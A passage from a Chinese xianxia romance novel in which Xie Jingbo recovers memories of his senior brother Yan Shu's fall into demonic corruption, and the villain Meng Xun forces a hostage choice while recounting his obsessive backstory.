方才衰竭的灵力不知何时竟然已充盈起来,灵力自然运转,甚至比往常还要强劲几分。 【你做了什么,师兄……】燕纾没有回答。 他抬着手任由谢镜泊把着脉,微侧过头,瑶瑶望向不远处长老殿的方向,不知看到了什么,神情隐隐凝重了几分。 【嗯?】直到谢镜泊又问了一遍,燕纾才回过神,却只笑了一下:【你想跟我一起去便去吧。】他忽然改了口,谢镜泊愣了一下,下一秒只感觉手腕一凉,面前的人纤细的指骨挤进他指缝间,漫不经心地主动一点点扣住。 【只说好,一切听我安排,我让你走,你便要头也不回地离开。】这话说的有些奇怪,谢镜泊心中不自觉一紧,却顾不得许多,迅速点了点头。他没有注意到,面前的人慢慢抬手,在他看不见的角度,小心将嘴角溢出的鲜血擦去。 后来的一切谢镜泊似乎模模糊糊都有些记忆。 他们赶到长老殿时,谢镜泊竟然意外发现这里的魔气要比外面都要浓郁。 满殿疮痍,大殿几乎被损毁大半,坍塌的阁楼沉沉压下,焦黑的房梁下是一具具血肉模糊的身躯。 ——明明长老殿地处偏僻,销春尽外围大多都未曾损毁,长老殿这里不应如此狼狈。 但大长老他们早已失去意识,身上满是斑驳的血迹,躺在地上呼吸微弱。谢镜泊蹙眉迅速检查了一下他们的气息,想先让燕纾带着人离开,下一秒,却忽然感觉一股浓重的魔息铺天盖地般涌来。谢镜泊正站在那魔气中央,一时来不及反应,眼看着那魔气顷刻间已冲至近前,下一秒却忽然感觉眼前一花。 磅礴的灵力与魔气蓦然碰撞,发出同一刻,自己身形被一瞬扑倒。 纤细的身影在他怀里发出一声压抑的闷哼,谢镜泊顾不得后背的疼痛,倏然撑起身。 【师兄——】 【咳咳,我没事。】燕纾闷咳几声,有些迟缓地从谢镜泊身前翻到旁边,吐了一口气。 他似乎对周围不断涌现的魔气并不意外,慢慢撑起身,一边抬手落下结界,一边仔细观察着什么。 谢镜泊有些紧张地跟在他身后,往不远处看了看,忍不住蹙眉:【这魔气从哪里来,为何忽然这般浓厚,宗内分明并未沦陷……】【是从这里来的。】 燕纾轻声打断他的话。 他忽然站在一个高处,垂下眼,居高临下地望着断壁残垣间翻涌的黑色尘埃。 【这里就是……魔族魔息供给的阵眼。】 谢镜泊瞳孔瞬息紧缩。 微尘里一瞬落入掌心,凌厉的剑气蓦然下劈,地面骤然崩塌,露出一处深不见底的断崖。 耳畔一瞬尖锐哀嚎声遍野,谢镜泊蹙眉凝神,看到了剑气掠过的地方,露出了被无数小魔环伺的一枚阵眼。 谢镜泊听着燕纾轻声开口:【我们要……除掉它。】 后面的记忆谢镜泊确实大多数有印象。 ——只不过这记忆里,都缺少了一个清瘦的身影。 如今,迟到了三年的魂魄重新落入肉身,谢镜泊木然缩在躯壳间,看着记忆中的自己与燕纾一同破开魔气、斩杀魔息。 循环往复,直至精疲力尽。 阵眼不除,魔气源源不断,刚破开一条缝隙,便顷刻间被再生的魔息充盈。 他魂魄茫茫然漂浮在虚空,看着记忆中的自己灵力耗尽,猝然脱力,控制不住坠入魔阵,却在最后那刻,用微尘里咬牙插入阵眼。 ——他记得师兄从前总和他说,入魔很痛。 ——如今他终于要知道……师兄是不是又在骗他。 但预想中的疼痛并没有传来,谢镜泊恍恍惚睁开眼,后知后觉感到周身被一阵熟悉的温凉包裹。 ——燕纾在坠下去的刹那,抱住了他。 不知哪里来的魔气从燕纾体内不断涌起,面前的人仿佛痛到了极点,却是竭尽全力小心将谢镜泊与外界魔气阻隔开来,不被侵蚀。两人重重滚落在地,谢镜泊听着燕纾闷哼一声,原本紧锢在他腰腹间的手臂瞬息脱力,却是在最后一瞬咬牙抬掌,布下一道灵力结界。无数阴沉的魔纹从他瓷白的皮肤间蜿蜒腾起,仿佛魔域间盛开的罂粟花。 面前的人眼眸几乎一瞬涣散,脖颈无力后仰,被谢镜泊近乎仓皇地一把接住。 【师兄!】怀里的人轻轻颤了颤,仿佛唤回了一丝神志,口唇翕动,却是猝然呛出一口鲜血。 谢镜泊瞳孔紧缩。 【这是怎么回事,师兄,是我,是因为我,你沾染魔气……】 他有些惶然抬起手想将燕纾身上的魔气驱散,下一瞬却只摸到了满手温热的鲜血。 【不是你的错……九渊。】燕纾咳出一口血,心肺间的痛楚反而减弱了不少。 【我魔气……早已入体。】 【这一切与你无关。】 刚刚被灵力封印的魔气终于找到了宣泄口,叫嚣着在他体内横冲直撞,一瞬钻入心脉。 彻骨的痛楚仿佛要将他心脏捏碎,燕纾一声痛呼闷在喉咙间,几乎一瞬失去了意识,片刻后又在谢镜泊焦急的呼唤中被生生疼醒。 【没事,别怕……不是你的错。】 燕纾迷迷糊糊开口,忽然低低笑了一下:【师父要我……不要妄动灵力,想要救我……】 【但我从来不是个好徒弟……我不听师父的话,我对不起他……】 妄动灵力、削弱封印会被魔气再度吞噬,但不用灵力、无动于衷就护不了谢镜泊他们。 ——燕纾几乎是没有任何迟疑便做好了决定。 身后的阵眼已被微尘里破坏,周围的一切都在不断坍塌。 谢镜泊尝试了几次想要将人带上去,但重伤的身躯却连起身都费劲。 他只能无措地抱着怀里的人坐在原地,听着燕纾时昏时醒地断续和他说着话。 【马上就要春日了,九渊,愿曦阁院里我埋的几坛桃花酒……你帮我喝了吧。】 【嗯,好,我等春日我来找师兄一同喝。】谢镜泊低声应着,竭力平静着和他搭着话,不让他睡过去。 【愿曦阁那些手稿我都还未整理……算了,外面那么乱,大概已经被魔族一把火烧干净了。】 燕纾沉沉地叹了一口气:【烧了也好……不然徒增念想。】 谢镜泊摇摇头,小心帮他把额角疼出的冷汗擦净:【我帮师兄存着,到时等师兄修养好,陪着师兄一起装订成册。】 他终于忍不住开口:【谁害的你,师兄,谁害的你和师父……我去找他们……】 燕纾意识已有些昏沉了。 他迟缓地反应过来什么,眨了眨眼,却忽然笑了起来:【我不告诉你。】 师父当初将真相告知,是为了将他引过来好给他渡灵力,如今他全身无半分灵力……便不学师父了。 师父至死都没能拿到长老殿的线索,若他身死,姜衍他们如今又身受重伤,独独只剩谢镜泊一人与整个长老殿抗衡,实在太过艰难。 他不忍心。 燕纾身子一颤,又咳出几点血沫,却只是神情自若地又往谢镜泊怀里缩了缩,语气间笑意不变:【你好好活下去,等以后……我一定告诉你。】但他们都知道,没有以后了。 谢镜泊无声地张了张口,没有应声,燕纾呆呆地望着头顶被魔气遮掩的天空,忽然轻声开口。 【阿衍他们不知道怎么样了……边叙虽然呆呆的,但有明夷带着,总能反应快一点不会伤很重吧……】 【他们一定很好,师兄,你别担心。】谢镜泊低声开口,看着人倦懒垂落的眼皮,狠下心他虎口处轻轻掐了一下。 怀里的人痛的一皱眉,意识却到底也清醒了几分。 【你别睡,师兄,和我说说话,好不好……】燕纾眼眸涣散又聚焦,半晌,有些迟缓地轻轻叹了一口气。 【从前……也没见你这般爱说话。】他强撑着说完,却是没撑住又昏了过去。等燕纾再醒来,却只感觉被人背在了背上。 【九渊……】 【你醒了,师兄。】 面前的人勉强回过头,燕纾却一瞬看到他被岩石磨的血肉模糊的手。燕纾眉头瞬间皱了起来:【你放我下来,九渊,你不用管我……】但谢镜泊却执拗地摇了摇头。 【你别睡,师兄,和我说说话,再坚持一下,马上我就带你回去……带你回家了。】 【我不回去,你松开我——】 燕纾一边说一边便要去解腰间的绳子。 但下一秒,谢镜泊沙哑的声音从耳畔低低传来。 【可是……方才我已答应带你回去了,师兄。】 燕纾微微一怔。 阵眼开始急速收缩,无数岩石碎屑从头顶落下,身后的人不自觉揽紧自己的脖颈。谢镜泊沉沉吐出一口气,没有再说什么,只咬牙一步步往上爬着。他没有说,燕纾方才迷迷糊糊间一直在喊痛。 到最后,甚至带着哭腔开始不停地道歉。 【对不起……我不是故意这般的,师父,对不起……】【我不要入魔,好痛……我好痛啊,师父,救救我……九渊。】【带我回去好不好,九渊,我想回销春尽,我想回家……】 他后面痛到了极点,已连说话的力气都没有了,只死死攥着他的衣袖,口中断断续续胡乱念着痛,念着师父和他的名字。谢镜泊那一瞬间也快要疼疯了。 头顶有巨石轰然落下,一瞬砸在谢镜泊腕骨。 骨头碎裂的声音隐隐传来,谢镜泊脸色白了几分,身形控制不住往下一滑,下一刻指尖插入岩壁缝隙堪堪稳住。 他第一反应却是去看燕纾的情况:【你没事吧,师兄?】 背后的人几乎已无声无息,即便这般紧贴着,谢镜泊仿佛都感受不到他胸膛的起伏。 好半天,谢镜泊才感觉身后的人身子颤了一下,低低应了一声:【嗯……】 他似乎勉强吸了一口气,指尖状似无意从他额角划过,轻轻的气音在他耳畔响起:【你放开我吧,九渊,我已入魔……不可逆转,方才在上面,宗内弟子……大概都看到了。】 【即便出去也……无济于事。】 他说到最后甚至笑了一下,调侃般低低开口:【你也不想……看到我入魔后神智癫狂,毫无人形的样子吧。】 又一波巨石袭来,谢镜泊侧身狼狈躲过,语气却一如既往的平缓。 【你不会有事的,师兄,我能救你。】 【我会带你出去的,马上就好,马上就到了…】 身后的人终于不再说话,仿佛终于妥协,身形完全放松了下来,只指尖仍有意无意落在他额角处。 似乎脑海深处有什么东西逐渐模糊起来,但谢镜泊却无暇顾及。 可惜灵力耗尽的身体已濒临极限,又一波魔气倏然收缩,谢镜泊手中一瞬抓空。 失重感蓦然袭来,谢镜泊却是倏然转过身,将背后的人护在怀里。 但下一刻,一道银光蓦然在他眼前划过。 谢镜泊只感觉腰间一紧。 原本安安静静缠绕在燕纾手腕上的八万春忽然动了,冰凉的鞭身一瞬卷上谢镜泊的腰间,挣断两人间的布绳。紧接着,他听着燕纾带着些许愧疚的声音传来:【别怪我,九渊。】鞭尾猛然一甩,将谢镜泊甩上悬崖,同一刻,自己被反向后推的力带着一瞬向崖底落去。 【燕纾——】 谢镜泊不可置信地睁大眼,他竭力伸出手,却连燕纾的指尖都未曾碰到。他只能眼睁睁看着,燕纾身形一瞬向下坠去,顷刻间湮没在黑沉的魔气间。恍惚间,他似乎看到最后刹那,自家师兄扬起唇,冲他轻轻笑了笑。 【我如今……一点也不痛了,九渊。】 可是他快要痛死了。 仿佛周身力气被一瞬抽空,谢镜泊踉跄跪地,浑身控制不住剧烈呕吐起来。 他颤抖着爬起身,想要再冲下去,但脑海中仿佛有一层黑雾不断浮现,不过瞬息间便夺去了他的神智。那片黑雾一点点侵袭,将方才那些无可抑制的绝望、痛楚一点点吞噬。谢镜泊眼眸逐渐空茫,跪地的身躯晃了晃,终于控制不住骤然失去了意识。 水榭间的流水声泊泊响起,谢镜泊止住话语。 他努力平复着翻涌的情绪,抬起头,目光沉沉地望向对面脸色苍白的人。 ——所以燕纾当时说的“别怪他”,不光是指他主动落崖。 ——更是让谢镜泊……别怪他抹去了他的记忆。 燕纾不敢将这段记忆重新展露出来,怕他们难过,怕自己愧疚……却独独不说……他有多害怕真的被所有人忘记。 他的师兄嘴里,从来没有半句真话。 但每句假话下,却都能窥探到遮掩不住的真心。 谢镜泊闭了闭眼,慢慢上前一步,小心拉住面前神情怔愣的人的手。 燕纾身形瑟缩一瞬,下意识躲闪着想要挣开,却被牢牢握住。 他听着谢镜泊哑声开口:“你好狠的心,燕纾。” 燕纾手指轻轻颤了一下。 他当初想着,若能活下来,这仇便由他一个人来报,即便失败了也不牵连其他人;若他真的身死……谢镜泊他们也不必一直背负着这般沉重的过往,安然平静地继续活下去便好。 但燕纾没想到的是,谢镜泊即便失去了大部分的记忆,依旧执拗地没有放弃寻查真相。他靠着自己一步步站稳宗主之位,发现了长老殿异样,慢慢追查当年之事的线索,从未放弃。 燕纾脑中混乱,呼吸还有些不稳,他茫然地仰起头,下一秒却落入一个温暖的怀抱。 “对不起。” 燕纾身形一颤。 他一点点抬起头,感觉温热的触感轻轻落到他眉心:“这么久……才终于带你回家。” 水榭内一片安静,一袭白衣的人埋头躲在他衣襟间,半晌低低地应了一声。 不远处,蒙巽脸色阴沉的可怕。 “他骗你的,燕纾,他们根本不可能接受一个曾经入魔的人,只有我与你是一起的——” 不远处的姜衍忽然蹙了蹙眉。 他后知后觉地意识到一件事。 除了十八层地狱天生魔族,一般人入魔,几乎不过半息便会完全丧失神智,形如疯癫。 蒙巽明显也是活人入魔……为何却还能保持理智。 对面的人还在嘶声叫嚣着什么,燕纾却压根没有理他。 谢镜泊小心揽着面前的人,微偏过身将他挡住,蹙眉望向蒙巽。 "阁下若再不束手就擒,便只能原地将你斩杀。" 蒙巽压根不理他的话。 他面色阴翳地望着燕纾,忽然疯狂笑了起来:“好,好,燕纾,即便这般你都不知悔改,还一味地相信他们——”他忽然扬声开口,手中魔气疯狂运转,蓦然往下一沉。 脚底下的地面忽然开始剧烈晃动,燕纾身子一晃,倏然拉住谢镜泊的胳膊,下一刻,却忽然感觉脑海中一阵剧痛袭来。 “呃……”他闷哼一声,倏然捂住头,却感觉意识控制不住沉沉往黑暗间坠去。 “师兄?”谢镜泊眼睁睁看着燕纾眼眸一瞬涣散,神情霎时空洞下来,忽然一点点松开了他的手。他迅速伸手想要拉住他的手,下一秒,却轰然一声巨响,两人间忽然裂开一道巨大的缝隙。仿佛记忆间的噩梦重现,谢镜泊瞳孔皱缩,看着燕纾身形一瞬后仰,无力地直直向下坠去。“你对他做了什么?”谢镜泊咬牙望向对面的蒙巽。两个猩红的魔阵从地底一寸寸浮现,有无数惊恐的身影被绑在其中一道阵法间。谢镜泊微尘里一瞬出鞘,紧接着,听着蒙巽阴恻恻的声音在耳畔响起。 “你从前那般舍命救他们——” "那我要看看,若形势倒转,他们是不是也会这般救你!" 91、失神 无数恶鬼的厉声嘶吼从魔阵间浮现,几人脚下的土地迅速龟裂开来,形成了一块块毫无连接的断崖。 他们听着蒙巽疯狂的声音从半空间响起。 “你们以为你们将大长老抓过来,用他故意往外面散播那些假消息,把我骗过来,就万事大吉了吗——” “你们不过是又给我做了嫁衣!” 随着他话音落下,轰隆一声巨响从不远处地牢那边传来。 姜衍倏然回过头,看着地牢那处,有无数魔息瞬息汇集,顷刻间吸入眼前的两块魔阵,不过片刻便形成了密密麻麻的猩红魔纹,悬浮着织在半空中。 ——这魔息从哪里来的?销春尽内怎么会有这般浓重的魔息? 姜衍心中暗道一声“该死”,折扇一挥直接向着那源源不断输送的魔气斩去,想要尽快切断连接。 但下一刻,“叮”的一声玉石相帛之声传来,姜衍脸色一变,身形凌空一翻,好险不险避开了那蓦然回击回来的折扇。 他倏然抬起头,果不其然看到半空中,蒙巽掌心间无数魔气汇聚,在那两处魔阵周围形成一道浑厚的魔障。 另一边,微尘里同一刻发出一声清鸣,谢镜泊玄色身影在半空中化为一道虚影,一剑将那魔障撕开一处裂痕。 一道剑气直直地向不远处的蒙巽袭去,同一刻,谢镜泊毫不犹豫地张开手,向那半空中沉沉坠落的一袭白衣奔去。 那剑气刁钻,直直顺着刚才还未合拢的魔障缝隙钻了进去,一瞬没入他腰腹。 蒙巽猝不及防,腰腹间瞬间被划开一道巨大的口子,灵力蒸腾着魔气带出一片血雾,蒙巽闷哼一声,却是刹那间将手一扬,直接将那魔障修补上来。 谢镜泊不管不顾,身形已接近燕纾身下那魔阵。 但下一刻,魔阵间的魔息顷刻间爆发开来,微尘里猝不及防直接撞了上去,被一瞬砰然弹开。 谢镜泊脸色一变,身形同时被倏然弹开,眼看着便要直接撞上去。 霎时间,边叙一剑勉强将那魔障又划开一道口子,将谢镜泊一把拉了出去。 蒙巽身子被微尘里震的也是一颤,他唇边溢出几丝鲜血,大笑的声音却从魔障后传来:“谢宗主小心,我手可不稳的很,若是被你击的一不小心松了手,燕纾和这些弟子,可都一起都掉下去了。” “那我便直接把你两手砍了,一劳永逸。”谢镜泊冷冷的声音同一瞬传来。 他凌空中翻了个身,足尖抵住剑身稳住身形,脚下一点,直接便要再次冲上前,被身后的边叙眼疾手快地一把拽住。 “放开——” 谢镜泊手臂绷得极紧,他抬手就想要将边叙甩开,冷不丁听到他蓦然开口。 “你冷静一点,小师弟!” 狂风从地底间呼啸而起,将几人的声音几乎完全淹没。 一向慢性子的边叙不得不也大声吼了起来: “你看清楚,他魔气源源不断、无限供给,你这般毫无章法地去破他的魔障,只是一味消耗自己。” 边叙眉头紧蹙,声音却还勉强维持着基本的冷静:“大师兄现在暂且无事,你不能先自己乱了阵脚。” “你若先出了事,谁来救师兄?” “你难道要重新陷入三年前的那般困境吗?” 谢镜泊动作戛然而止。 半空内,燕纾霜白的身影蜷在血色魔阵中央,一袭白衣匍匐其间,三千霜发将苍白面容半遮半掩,似乎已经完全失去了意识。 ——但好在胸口的起伏还算平缓,似乎只是沉沉睡了过去,确实没有什么其他异样。 谢镜泊神情一点点冷了下来。 他慢慢挣开边叙的手在原地站稳,手中微尘里一点点攥紧,仰头望向半空中的蒙巽。 “你到底要做什么?你对燕纾做了什么?” 谢镜泊沉声开口:“放了他,换我过去,我任你处置。” 站在两个魔阵中央的蒙巽面色阴翳地望向地面的几人,终于嘶声大笑了起来。 “换你?” “那可不行,谢宗主,这个抉择可是要你来下的。” “我当然没有对燕纾做什么……至少现在没有。” “不过是在他神识间用摄神术加了一道魔气烙印,时不时干扰一下他的神智,等我想让他醒时,他就会醒过来。” 蒙巽眸色阴沉地望着他,眼底似乎带着一丝疯狂的兴奋:“我要让燕纾看着,你是怎么主动放弃他。” 悬浮在空中的两道魔阵随着他话音落下蓦然浮动了起来,蜷缩在地上的白衣人依旧无知无觉,但旁边被绑着的几十名弟子瞬间发出惊恐的呜咽声,奈何口中被布条塞满,一时完全说不出一个字来。 谢镜泊一瞥之间,甚至看到了危阑的身影。 危阑瘦小的身形被挤在人群间,他脸色因为恐惧也隐隐有些发白,但神情还算镇定,并没有如其他弟子那般无谓哭嚎,只目光担忧地直直望向旁边的燕纾。魔阵再次发出一阵剧烈的晃动,谢镜泊脸色也同一刻沉了下来:“你到底要做什么?” “放心,我不会摔死他们的——至少暂时不会。” 蒙巽望着谢镜泊难看的脸色,似乎心情颇好般低低笑了起来。 “我说了,我做什么,取决于你的选择。” “这两个魔阵……与当初燕纾,还有你们那个虚伪的师父所中的魔阵几乎一般无二。” 蒙巽慢悠悠开口:“魔阵的封印我还未曾解除,所以他们暂且无碍。” “谢宗主,现在我需要你来做一个选择。” 他目光落到魔阵间蜷缩着的斑驳白衣身上。 “若你选择燕纾,那么我可以直接放人,让他跟你离开。” “但其余几十名弟子——” “他们经脉间会被一瞬完全灌满魔气,放心,届时我会也放他们回宗,只不过……”蒙巽低笑一声,脸上魔纹幽幽转动,仿佛一瞬兴奋了起来。“谢宗主应当还没有见过,千人同时入魔的场景吧?”谢镜泊脸色冰冷,蒙巽也不着急,微微偏过头又望向另一侧。“若是谢宗主选了你销春尽的弟子,燕纾那魔阵我重新做了一些修改。”“我知道他身体不好,经脉几近寸断,我也不舍得他受那些苦楚。” 蒙巽仿佛怜悯般,语气放的愈轻。 “所以我之前在他神识间加的那个魔气烙印,等这魔阵一启动,会‘砰’的一声,直接将他神识绞碎。”他手中轻轻比了一个烟花炸开的动作,谢镜泊脸色难看的可怕。蒙巽再忍不住,张扬地大笑了起来:"他顷刻间便会神志若失,与我一同入魔,变成一个完全属于我的活死人了哈哈哈哈——"他话还没说完,忽然一袭棍风骤然袭来,直直打在他面前的魔障上。魔阵完全是由蒙巽魔气一手维系,这一下虽没能将这魔障打穿,却也让他结结实实挨了一闷棍的反噬。“你是不是有病?凭什么要这般对我师兄,我师兄到底怎么惹上了你这个疯狗——”明夷恨声开口。 蒙巽闷哼一声,腹部的伤口再一次撕裂开来,但他却笑的更加畅快了。 "惹上?"他倏然扭过头,满脸烦躁地望向不远处的明夷:“我说了,燕纾救了我,我这是在报答他,是你们不配——”魔阵周边有层层叠叠的黑雾不断翻涌,谢镜泊手中的微尘里一点点收紧。蒙巽深吸一口气,终于不耐烦地开口:“好了,快点做选择吧,谢宗主,你是要放弃销春尽,还是放弃燕纾?”“你早点做选择,兴许我心情好早点将人叫醒,你还能最后多见他几眼……” 他话还没说完,忽然听到一个沙哑的声音呛咳着从旁边传来。“谁要你叫醒?”一袭白衣人慢慢撑坐起身,霜色长发蜿蜒垂落。他脸色依旧苍白,但神情却异常平静,眸色清明,并不似方才蒙巽所说的神识被魔气所控。谢镜泊倏然抬起头,蒙巽神情间闪过一丝不可置信,同一刻也咬牙转过头:“你怎么——” "怎么自己醒来了吗?"燕纾捂唇咳了咳,语气带笑,却似乎并没有解释的意思,却是不着痕迹地冲着谢镜泊比了个手势。——那是一个让他做好准备的意思。 谢镜泊神情一愣,刹那间明白了什么,眼眸微闪。 燕纾却已不再看他。 他歪了歪头,目光望向不远处源源不断供应魔气的地牢。 “我救过你,所以你不杀我,只要拉我一同沉沦。” 燕纾似乎想到了什么好笑的事情般,语气间逐渐带上了几分笑意。 “那大长老未救过你,但完全听你调遣,所以你直接把他浑身精血抽干,来供应这魔阵吗?” “真是……好一套‘知恩图报’的逻辑。” 不远处的姜衍神情一凛。 难怪,难怪他们防备了这许久,却依旧不知这魔气从何而来。 若是蒙巽提前在大长老体内如燕纾般种下魔息,让活人一瞬强行入魔,以自身心血饲阵,确实狠毒又……防不胜防。 蒙巽冷哼一声当做默认,燕纾重新回过头,望向旁边魔阵内的弟子:“那这些销春尽弟子,又与你何干?” 他平静开口:“他们何其无辜,我的师弟们又何其无辜,你为什么要将他们牵扯进来。” “无辜?他们无辜?不过都是一样的货色,一样的道貌岸然!”蒙巽整个人仿佛一点就着般,周身魔纹疯狂涌动,状若癫狂。 “去死,都去死,都来给你我陪葬——” 他话还没说完,忽然听燕纾轻轻开口:“是因为十一年前学堂的事吗?” 周围瞬间一静,蒙巽的声音戛然而止。 他神情间慢慢浮现出一抹不可置信,蓦然转过头,眼眸间转瞬又爬上一抹欣喜。 “你记得,你记得,对,没错,就是你用卦盘救我那日……” 他不知又想到什么般,脸上的笑意一瞬消失了。 “但不止,当然不止那些事,他们欺人太甚……” 他猛然咬紧下唇,恨声开口:“整个销春尽,不过都蛇鼠一窝罢了!” 蒙巽出身在一个穷苦人家,还没有记忆时便被卖去做苦力。 他几乎不记得自己是怎么入销春尽前的记忆了,小时的记忆在伤痛、严寒下几乎都是模糊的。 但他向来心狠,只要争取到了一线生机,便会拼劲一切活下去。 那日他几乎要冻死,刚好碰到销春尽的采买来山下寻门仆,当时有许多一同住在破庙里的孩子一同竞争,蒙巽身形瘦小,本来完全是排在末尾的。但其余那些孩子,一夜之间竟然全都消失了。 那采买人第二天进了破庙,只看到一个孩子孤零零的站在一口被巨石压住的枯井边。 【昨晚有一富商过来,其余人全跟着跑了,】那个小孩低低开口,【我可以跟您去仙门看看吗?】 蒙巽便这般顺理成章地入了销春尽。 他向来好学,又有野心,并不甘只当个门仆,一有空便偷偷跑到那学堂窗外去偷学。 甚至悄悄趴在桌板上拿着炭条,根据笔墨印迹临摹那些考题。 结果在一次定级考的时候,授课先生拿着唯——份满分问遍了学堂,最后只看到门口一个脏兮兮的小孩举起了手。 满堂哗然。 蒙巽想要入仙门学仙术,也意外发现自己在这上面似乎确实有些天资。 他原本满心欢喜,准备拿着考卷去求求授课先生,没想到换来的却是那些学堂高贵子弟的质疑、污蔑。 【怎么可能满分?不知哪里抄的吧?】 【小偷偷考题,怕是考试成绩也是偷的。】 【一个骗子杂种也想与我们一般入宗门,真是好笑。】 蒙巽百口莫辩,差点被直接撵出去。 好在燕纾最后将他救了下来。 蒙巽永远记得,那日那人一袭红衣逆着光,懒洋洋靠在门口,不过三言两语便解了他的困境,甚至将他从泥潭里拉了出来。 【别怕,我已央了学堂的管事长老,允你以后一起听学,但入宗拜师确实没那么简单。】 一袭红衣人第二日亲自将他带到学堂,【你先将基础课业好好学好,若之后能学成通过拜师大典的考核,便能算正式入宗了。】蒙巽第一反应,却是警惕。 【你想从我这里得到什么?】他面无表情地坐在原地,一把将那红衣人的手拍开。 【我不会信你的花言巧语,我自己能活的很好,别想来做我的救世主——】 ——所有人表面看着对他好,不过都是想从他这里得到什么,苦力、劳役,他清楚天下没有免费的午餐。 但下一秒,他却看那红衣人愣了一下,紧接着蓦然笑开:【你说的对,没有人能做其他人的救世主。】 【你的救世主只能是你自己。】 蒙巽第一次听到这个说法,下意识一愣。 【你很聪明,不过自学便能拨得头筹,若是认真地学下去,之后必定能有所成。】 【你年纪与我师弟相仿,若真说我想从你这里得到什么……大概是不想这般聪慧的天资被埋没吧。】 他听着那红衣人带着笑意轻声开口,目光却只怔怔落到那人方才被他拍开的手上。 他看着不过片刻,那人白皙的皮肤上便落下一道红印,在一片瓷白间分外刺目。 蒙巽一时间有一种冲动,想将那手狠狠握住,让那抹瓷白永远留在自己怀里。 但他却听着那红衣人的声音逐渐远去。 【我等着你将你自己救赎的那一天。】 蒙巽在修仙一途上确实很有天赋,也分外刻苦,能一连不吃不喝数日研读功法。 可惜他起步比别人晚,又太过于急功近利,根基并未扎稳,甚至一度差点走火入魔。 但蒙巽却咬牙硬生生撑了过去。 ——他不可能走火入魔,他要入宗,拜师,变强,站在顶端。 他辗转打听到,那日帮他的红衣人是如今宗主的大弟子,名为燕宿泱,也是万年难遇的天纵奇才。 蒙巽觉得,燕宿泱是唯——个能配得上他的人。 他寻了个离燕纾住所近的差事,每日悄悄观察着他,意外探听到燕纾那日是通过卜卦救的他。 他便依照燕纾那日推算的卦象,自己给自己取了个名字。 蒙巽。 “物生必蒙,故受之以蒙”,他是燕纾一手从混沌中点拨的。 ——他觉得燕纾一定会喜欢。 他以学堂第一名的成绩成功拿到拜师典的入场券,满心欢喜地以为自己终于被好运眷顾,却再度落了个空。拜师典上,衣着破败的他引来长老殿一众长老的嫌弃,还未入门便直接被赶了出去。 【这般粗鄙,也配入我销春尽?】 蒙巽拿着那张第一名的考卷,踉跄地跌坐到一片水泥坑里。 他失魂落魄地站起身,一时茫茫然不知去处,忽然看到不远处似乎有一道熟悉的红色身影掠过。 蒙巽那一瞬间心神一颤,顾不得满身泥泞,快步跑了过去。 【燕……】他有心想要去求一下燕纾,但莫名的不屑与自尊让他一时却没能喊出口。 他只能看着燕纾的身影霎时又远去了几分。 周遭暴雨倾盆,蒙巽跑的太急,一下子没站稳,“啪”的一声狠狠摔到了旁边的草丛里。 他顾不得疼痛,匆忙撑起身,正好看到一袭红色衣摆从他面前翩然划过。 蒙巽心中瞬间一喜:【燕公子……】 他满心期待地伸出手,却只看到那红色布料从他指尖悄然掠过,落下一滴水珠。 【这么大的雨,你怎么在这里啊,九渊?】 他听着有一个陌生的声音低低说了句什么,紧接着燕纾笑意盈盈的声音再次响起:【是在这里等我啊。】 蒙巽的指尖一瞬掐入掌心。 他看着不远处燕纾打着一把油纸伞,小心将一个与他一般年纪的小孩揽到怀里,拉着他的手,微垂着眼笑意盈盈地和他说着什么。两人的身影在磅礴大雨间迅速远去, 那一瞬,无数阴暗念头在蒙巽脑海间滋生蔓延。 他凭什么这次不帮自己?还对其他人也那般好? 他难道不应该只向着自己,只对自己一个人好吗? 这些人压根不配燕纾对他们好! 之前走火入魔强压下来的灵力在体内翻涌,蒙巽疼的滚落在地,嗜血的念头无数次在脑海中浮现,最后只化作一个偏执的想法。 ——燕纾也骗了他。 那他要让他付出代价。 他从前追随着那轮明月,以为这轮明月终有一日能只属于他。 但明月高悬,却不独照他。 ——为什么那月光落到自己身上时,也照亮了旁人 甚至凸显的……他越发阴暗。 他要被……折磨疯了。 墨云撕开天穹,刚抽条的枝条在魔阵带来的风里扭曲成万千利爪,落叶漩涡般绞着一瞬腾空。 最粗壮的树木被轰然倾折,爆发出一阵“咔嚓”巨大声响。 蒙巽深吸一口气,强行将心中的暴虐压了下来。 “那日走火入魔后,我周身灵力已废,于是便开始自己研修魔道。” 周围的魔阵又发出阵阵哀鸣,仿佛不满为何如今还未有活人血肉祭祀,配合着魔阵间弟子阵阵呜咽,让人分外烦躁。 蒙巽指尖不耐烦地一点,那魔阵再次一震,那群弟子脸色一白,瞬息噤声。 蒙巽冷笑一声。 他隐藏行迹,做了那个最不起眼却又最方便行事的看门人,入夜后便潜伏在长老殿。他本来想拿那当初阻拦他的那些人练手,却意外发现了长老殿饲养妖兽的秘密。于是他搜集证据,威胁长老殿,展露魔气修行,与他们交易,静静等待时机。他看到燕纾师父独自归宗,便直接设计将燕纾师父引入了长老殿,迫他入魔。“所以那日,时机成熟,我刚好看到你师父独自归宗的时候,我有多兴奋吗?”燕纾脸色苍白,半撑着身子跪坐在原地,手臂似乎在细密地发着颤。 蒙巽心中越发畅快。 “我扮作失足凡人,从悬崖下坠落,千钧一发之际,你师父根本来不及反应,直接便被我种入了魔息。” “然后他从悬崖下落下,等待他,便是我早已画好的魔阵。” “你……”燕纾哑声开口,却似乎说的太急,身子颤了一瞬,紧接着倏然神情痛苦地按住心口。 "燕公子想问我为何这般?" 蒙巽高声大笑了起来:“全都是……因为你啊。” 他环顾一圈四周,看着魔气狰狞地从地底浮现,低低笑了起来:“如今这一切,全都是你造成的。” 他想着,如果燕纾被迫入魔,走投无路,众叛亲离,身边一个爱护他的人没有了,他是不是就能……来依赖自己。 但他又错了。 燕纾的师父拼死也要将人护着送走,这些师弟即便被洗去了记忆也依旧护着他。 甚至最后,燕纾会选择坠崖身死,选择消去谢镜泊他们的记忆不让他们愧疚、背负仇恨,也不愿与他一同入魔。 蒙巽那一瞬间快要崩溃了。 但长老殿借机销毁了他拥有的一切证据,单方面终止交易,甚至过河拆桥将他抛下,将一切推到魔族身上,把自己择的干干净净。蒙巽若此时暴露,会被所有人得而诛之。 他只能暂且隐忍下来。 他天资确实聪慧,入魔后虽神志已半疯癫,却还是勉勉强强将那摄神术学了个囫囵,也因此在燕纾最后运转灵力时,记忆并未受到影响。 "我清楚你一定没有死……你怎么可能舍得抛下这一切。" 蒙巽冷笑道::“我也清楚,若你真的要回来,第一步一定会回销春尽。” 他手掌蓦然一抬,魔阵猛然一震,原本偃旗息鼓的魔气再次叫嚣起来。 